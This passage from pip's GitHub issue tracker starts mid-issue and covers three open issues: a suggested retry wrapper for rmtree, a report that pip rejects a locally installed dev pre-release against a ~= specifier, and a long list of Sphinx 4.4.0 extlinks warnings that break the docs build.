         shutil.rmtree(dir, ignore_errors=ignore_errors, onerror=rmtree_errorhandler) 
```

to something like this:
```
def rmtree(dir: str, ignore_errors: bool = False) -> None:
   t = time.time()
   while True:
       try:
           shutil.rmtree(dir, ignore_errors=ignore_errors, onerror=rmtree_errorhandler) 
       except Exception:
           time.sleep(0.5)
           if time.time() - t > 3:
               raise
       finally:
           break
````

### Alternative Solutions

-

### Additional context

-

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: marcinn
labels: type: refactor: Refactoring code
project: vendored dependency: Related to a vendored dependency
issue_10817: state: open
title: pip not accepting locally installed dev version of dependency
body: ### Description

I am trying to install a package with a `mymodule~=0.16` dependency.

Locally, I have `mymodule-0.16.0.dev1234` installed.

When I run `pip install`, I get the following error: `ERROR: No matching distribution found for mymodule~=0.16`

### Expected behavior

I expect a pre-installed dev version to be accepted in place of the regular version.

From PEP 440 (https://www.python.org/dev/peps/pep-0440/#handling-of-pre-releases):

> Pre-releases of any kind, including developmental releases, are implicitly excluded from all version specifiers, unless they are already present on the system, explicitly requested by the user, or if the only available version that satisfies the version specifier is a pre-release.

### pip version

21.3.1

### Python version

3.8.12

### OS

macOS Monterey version 12.1

### How to Reproduce

Unfortunately the two modules in question are proprietary so you cannot reproduce with the exact modules. But in general the steps are

1. Install a `X.Y.0.devZ` version of a module.
2. Install a module with a `~=X.Y` requirement.

### Output

```sh-session
$ pip install mymodule
...
...
Successfully installed mymodule-0.16.0.dev1234

$ pip install othermodule
Processing /path/to/othermodule
  Installing build dependencies ... done
  Getting requirements to build wheel ... done
  Installing backend dependencies ... done
  Preparing metadata (pyproject.toml) ... done
ERROR: Could not find a version that satisfies the requirement mymodule~=0.16 (from othermodule) (from versions: none)
ERROR: No matching distribution found for mymodule~=0.16
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: tonyfm15
labels: type: bug: A confirmed bug or unintended behavior
project: vendored dependency: Related to a vendored dependency
issue_10813: state: open
title: Deal with Sphinx 4.4.0 extlinks warnings
body: We have ~525 warnings coming out of Sphinx, about situations for us to use `extlinks` more proactively. This causes our `docs` build to fail since Sphinx 4.4.0 has released.

<details>

<summary>Click here for the full list (on desktop, mobile would show this unconditionally)</summary>

```
/Users/pradyunsg/Developer/pip/docs/html/cli/pip_freeze.rst:80: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8418' could be replaced by an extlink (try using ':issue:`8418`' instead)
/Users/pradyunsg/Developer/pip/docs/html/development/architecture/anatomy.rst:3: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6831' could be replaced by an extlink (try using ':issue:`6831`' instead)
/Users/pradyunsg/Developer/pip/docs/html/development/architecture/command-line-interface.rst:15: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6831' could be replaced by an extlink (try using ':issue:`6831`' instead)
/Users/pradyunsg/Developer/pip/docs/html/development/architecture/configuration-files.rst:12: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6831' could be replaced by an extlink (try using ':issue:`6831`' instead)
/Users/pradyunsg/Developer/pip/docs/html/development/architecture/index.rst:9: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6831' could be replaced by an extlink (try using ':issue:`6831`' instead)
/Users/pradyunsg/Developer/pip/docs/html/development/architecture/overview.rst:3: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6831' could be replaced by an extlink (try using ':issue:`6831`' instead)
/Users/pradyunsg/Developer/pip/docs/html/development/architecture/upgrade-options.rst:5: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8115' could be replaced by an extlink (try using ':issue:`8115`' instead)
/Users/pradyunsg/Developer/pip/docs/html/development/ci.rst:5: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7279' could be replaced by an extlink (try using ':issue:`7279`' instead)
/Users/pradyunsg/Developer/pip/docs/html/development/contributing.rst:63: WARNING: hardcoded link 'https://pypi.org/project/towncrier/' could be replaced by an extlink (try using ':pypi:`towncrier`' instead)
/Users/pradyunsg/Developer/pip/docs/html/development/getting-started.rst:7: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/new?title=Trouble+with+pip+development+environment' could be replaced by an extlink (try using ':issue:`new?title=Trouble+with+pip+development+environment`' instead)
/Users/pradyunsg/Developer/pip/docs/html/development/issue-triage.rst:3: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6583' could be replaced by an extlink (try using ':issue:`6583`' instead)
/Users/pradyunsg/Developer/pip/docs/html/development/issue-triage.rst:179: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6814#issuecomment-516611389' could be replaced by an extlink (try using ':issue:`6814#issuecomment-516611389`' instead)
/Users/pradyunsg/Developer/pip/docs/html/development/issue-triage.rst:220: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/4331#issuecomment-520156471' could be replaced by an extlink (try using ':issue:`4331#issuecomment-520156471`' instead)
/Users/pradyunsg/Developer/pip/docs/html/development/issue-triage.rst:222: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/2920#issuecomment-508953118' could be replaced by an extlink (try using ':issue:`2920#issuecomment-508953118`' instead)
/Users/pradyunsg/Developer/pip/docs/html/development/issue-triage.rst:224: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5533#issuecomment-520159896' could be replaced by an extlink (try using ':issue:`5533#issuecomment-520159896`' instead)
/Users/pradyunsg/Developer/pip/docs/html/development/issue-triage.rst:226: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6364#issuecomment-507074729' could be replaced by an extlink (try using ':issue:`6364#issuecomment-507074729`' instead)
/Users/pradyunsg/Developer/pip/docs/html/development/issue-triage.rst:228: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6498#issuecomment-513501112' could be replaced by an extlink (try using ':issue:`6498#issuecomment-513501112`' instead)
/Users/pradyunsg/Developer/pip/docs/html/development/issue-triage.rst:230: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5379#issuecomment-515270576' could be replaced by an extlink (try using ':issue:`5379#issuecomment-515270576`' instead)
/Users/pradyunsg/Developer/pip/docs/html/development/issue-triage.rst:232: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6707#issue-467770959' could be replaced by an extlink (try using ':issue:`6707#issue-467770959`' instead)
src/pip/_vendor/README.rst:120: WARNING: hardcoded link 'https://pypi.org/project/vendoring/' could be replaced by an extlink (try using ':pypi:`vendoring`' instead)
[towncrier-fragments]:17: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10462' could be replaced by an extlink (try using ':issue:`10462`' instead)
[towncrier-fragments]:18: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10641' could be replaced by an extlink (try using ':issue:`10641`' instead)
[towncrier-fragments]:24: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10462' could be replaced by an extlink (try using ':issue:`10462`' instead)
[towncrier-fragments]:25: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10535' could be replaced by an extlink (try using ':issue:`10535`' instead)
[towncrier-fragments]:26: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10588' could be replaced by an extlink (try using ':issue:`10588`' instead)
[towncrier-fragments]:27: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10647' could be replaced by an extlink (try using ':issue:`10647`' instead)
[towncrier-fragments]:30: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10686' could be replaced by an extlink (try using ':issue:`10686`' instead)
[towncrier-fragments]:32: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10703' could be replaced by an extlink (try using ':issue:`10703`' instead)
[towncrier-fragments]:38: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10557' could be replaced by an extlink (try using ':issue:`10557`' instead)
[towncrier-fragments]:39: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10613' could be replaced by an extlink (try using ':issue:`10613`' instead)
[towncrier-fragments]:42: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9644' could be replaced by an extlink (try using ':issue:`9644`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:22: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10531' could be replaced by an extlink (try using ':issue:`10531`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:24: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10565' could be replaced by an extlink (try using ':issue:`10565`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:25: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10573' could be replaced by an extlink (try using ':issue:`10573`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:30: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10585' could be replaced by an extlink (try using ':issue:`10585`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:47: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10128' could be replaced by an extlink (try using ':issue:`10128`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:48: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10270' could be replaced by an extlink (try using ':issue:`10270`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:50: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10358' could be replaced by an extlink (try using ':issue:`10358`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:54: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10485' could be replaced by an extlink (try using ':issue:`10485`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:55: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10495' could be replaced by an extlink (try using ':issue:`10495`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:58: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8711' could be replaced by an extlink (try using ':issue:`8711`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:63: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10202' could be replaced by an extlink (try using ':issue:`10202`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:64: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10249' could be replaced by an extlink (try using ':issue:`10249`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:68: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10410' could be replaced by an extlink (try using ':issue:`10410`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:71: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10422' could be replaced by an extlink (try using ':issue:`10422`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:72: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10459' could be replaced by an extlink (try using ':issue:`10459`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:74: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10479' could be replaced by an extlink (try using ':issue:`10479`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:75: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10550' could be replaced by an extlink (try using ':issue:`10550`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:76: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8212' could be replaced by an extlink (try using ':issue:`8212`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:78: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9086' could be replaced by an extlink (try using ':issue:`9086`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:79: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9349' could be replaced by an extlink (try using ':issue:`9349`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:80: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9498' could be replaced by an extlink (try using ':issue:`9498`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:85: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10263' could be replaced by an extlink (try using ':issue:`10263`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:86: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10269' could be replaced by an extlink (try using ':issue:`10269`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:89: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10378' could be replaced by an extlink (try using ':issue:`10378`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:90: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10482' could be replaced by an extlink (try using ':issue:`10482`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:91: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10524' could be replaced by an extlink (try using ':issue:`10524`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:108: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10430' could be replaced by an extlink (try using ':issue:`10430`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:109: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10497' could be replaced by an extlink (try using ':issue:`10497`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:120: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10280' could be replaced by an extlink (try using ':issue:`10280`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:131: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10252' could be replaced by an extlink (try using ':issue:`10252`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:143: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10233' could be replaced by an extlink (try using ':issue:`10233`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:178: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10117' could be replaced by an extlink (try using ':issue:`10117`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:180: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10151' could be replaced by an extlink (try using ':issue:`10151`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:182: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9069' could be replaced by an extlink (try using ':issue:`9069`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:193: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10002' could be replaced by an extlink (try using ':issue:`10002`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:194: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10034' could be replaced by an extlink (try using ':issue:`10034`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:195: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10045' could be replaced by an extlink (try using ':issue:`10045`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:196: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10071' could be replaced by an extlink (try using ':issue:`10071`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:197: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10149' could be replaced by an extlink (try using ':issue:`10149`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:198: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/4958' could be replaced by an extlink (try using ':issue:`4958`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:199: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7975' could be replaced by an extlink (try using ':issue:`7975`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:211: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8954' could be replaced by an extlink (try using ':issue:`8954`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:212: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9450' could be replaced by an extlink (try using ':issue:`9450`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:215: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9455' could be replaced by an extlink (try using ':issue:`9455`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:217: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9686' could be replaced by an extlink (try using ':issue:`9686`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:218: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9915' could be replaced by an extlink (try using ':issue:`9915`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:219: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9925' could be replaced by an extlink (try using ':issue:`9925`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:222: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9931' could be replaced by an extlink (try using ':issue:`9931`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:223: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9987' could be replaced by an extlink (try using ':issue:`9987`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:228: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10043' could be replaced by an extlink (try using ':issue:`10043`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:229: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10080' could be replaced by an extlink (try using ':issue:`10080`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:230: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10115' could be replaced by an extlink (try using ':issue:`10115`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:233: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10162' could be replaced by an extlink (try using ':issue:`10162`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:235: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/3931' could be replaced by an extlink (try using ':issue:`3931`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:236: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7667' could be replaced by an extlink (try using ':issue:`7667`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:237: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8931' could be replaced by an extlink (try using ':issue:`8931`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:238: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9204' could be replaced by an extlink (try using ':issue:`9204`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:240: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9822' could be replaced by an extlink (try using ':issue:`9822`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:243: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9844' could be replaced by an extlink (try using ':issue:`9844`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:245: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9845' could be replaced by an extlink (try using ':issue:`9845`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:267: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10020' could be replaced by an extlink (try using ':issue:`10020`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:268: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/10031' could be replaced by an extlink (try using ':issue:`10031`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:279: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9841' could be replaced by an extlink (try using ':issue:`9841`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:282: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9910' could be replaced by an extlink (try using ':issue:`9910`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:283: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9944' could be replaced by an extlink (try using ':issue:`9944`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:285: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9953' could be replaced by an extlink (try using ':issue:`9953`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:296: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9912' could be replaced by an extlink (try using ':issue:`9912`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:304: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9831' could be replaced by an extlink (try using ':issue:`9831`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:305: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9838' could be replaced by an extlink (try using ':issue:`9838`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:306: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9878' could be replaced by an extlink (try using ':issue:`9878`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:325: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8253' could be replaced by an extlink (try using ':issue:`8253`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:326: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9091' could be replaced by an extlink (try using ':issue:`9091`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:330: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9139' could be replaced by an extlink (try using ':issue:`9139`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:331: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9547' could be replaced by an extlink (try using ':issue:`9547`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:332: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9748' could be replaced by an extlink (try using ':issue:`9748`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:333: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9774' could be replaced by an extlink (try using ':issue:`9774`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:340: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/4390' could be replaced by an extlink (try using ':issue:`4390`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:341: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6409' could be replaced by an extlink (try using ':issue:`6409`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:342: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7269' could be replaced by an extlink (try using ':issue:`7269`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:344: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8090' could be replaced by an extlink (try using ':issue:`8090`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:347: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8214' could be replaced by an extlink (try using ':issue:`8214`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:349: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8418' could be replaced by an extlink (try using ':issue:`8418`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:350: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8733' could be replaced by an extlink (try using ':issue:`8733`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:351: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8785' could be replaced by an extlink (try using ':issue:`8785`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:355: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9300' could be replaced by an extlink (try using ':issue:`9300`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:357: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9348' could be replaced by an extlink (try using ':issue:`9348`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:359: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9409' could be replaced by an extlink (try using ':issue:`9409`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:361: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9541' could be replaced by an extlink (try using ':issue:`9541`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:362: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9565' could be replaced by an extlink (try using ':issue:`9565`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:363: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9779' could be replaced by an extlink (try using ':issue:`9779`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:364: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9827' could be replaced by an extlink (try using ':issue:`9827`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:381: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/4822829F-6A45-4202-87BA-A80482DF6D4E' could be replaced by an extlink (try using ':issue:`4822829F-6A45-4202-87BA-A80482DF6D4E`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:382: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6720' could be replaced by an extlink (try using ':issue:`6720`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:383: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8418' could be replaced by an extlink (try using ':issue:`8418`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:384: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9647' could be replaced by an extlink (try using ':issue:`9647`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:385: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9692' could be replaced by an extlink (try using ':issue:`9692`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:397: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9461' could be replaced by an extlink (try using ':issue:`9461`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:398: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9516' could be replaced by an extlink (try using ':issue:`9516`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:416: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6148' could be replaced by an extlink (try using ':issue:`6148`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:417: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7502' could be replaced by an extlink (try using ':issue:`7502`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:419: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7554' could be replaced by an extlink (try using ':issue:`7554`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:421: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8802' could be replaced by an extlink (try using ':issue:`8802`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:422: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9189' could be replaced by an extlink (try using ':issue:`9189`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:423: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9338' could be replaced by an extlink (try using ':issue:`9338`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:429: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/1884' could be replaced by an extlink (try using ':issue:`1884`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:430: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9186' could be replaced by an extlink (try using ':issue:`9186`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:437: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9273' could be replaced by an extlink (try using ':issue:`9273`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:440: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9337' could be replaced by an extlink (try using ':issue:`9337`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:452: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9172' could be replaced by an extlink (try using ':issue:`9172`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:453: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9343' could be replaced by an extlink (try using ':issue:`9343`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:464: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9206' could be replaced by an extlink (try using ':issue:`9206`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:467: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9315' could be replaced by an extlink (try using ':issue:`9315`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:472: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8876' could be replaced by an extlink (try using ':issue:`8876`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:475: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9180' could be replaced by an extlink (try using ':issue:`9180`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:476: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9203' could be replaced by an extlink (try using ':issue:`9203`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:480: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9246' could be replaced by an extlink (try using ':issue:`9246`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:499: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9264' could be replaced by an extlink (try using ':issue:`9264`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:510: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9185' could be replaced by an extlink (try using ':issue:`9185`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:512: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9249' could be replaced by an extlink (try using ':issue:`9249`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:517: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9117' could be replaced by an extlink (try using ':issue:`9117`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:519: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9191' could be replaced by an extlink (try using ':issue:`9191`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:521: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9203' could be replaced by an extlink (try using ':issue:`9203`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:523: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9232' could be replaced by an extlink (try using ':issue:`9232`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:525: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9246' could be replaced by an extlink (try using ':issue:`9246`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:536: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9269' could be replaced by an extlink (try using ':issue:`9269`' instead)
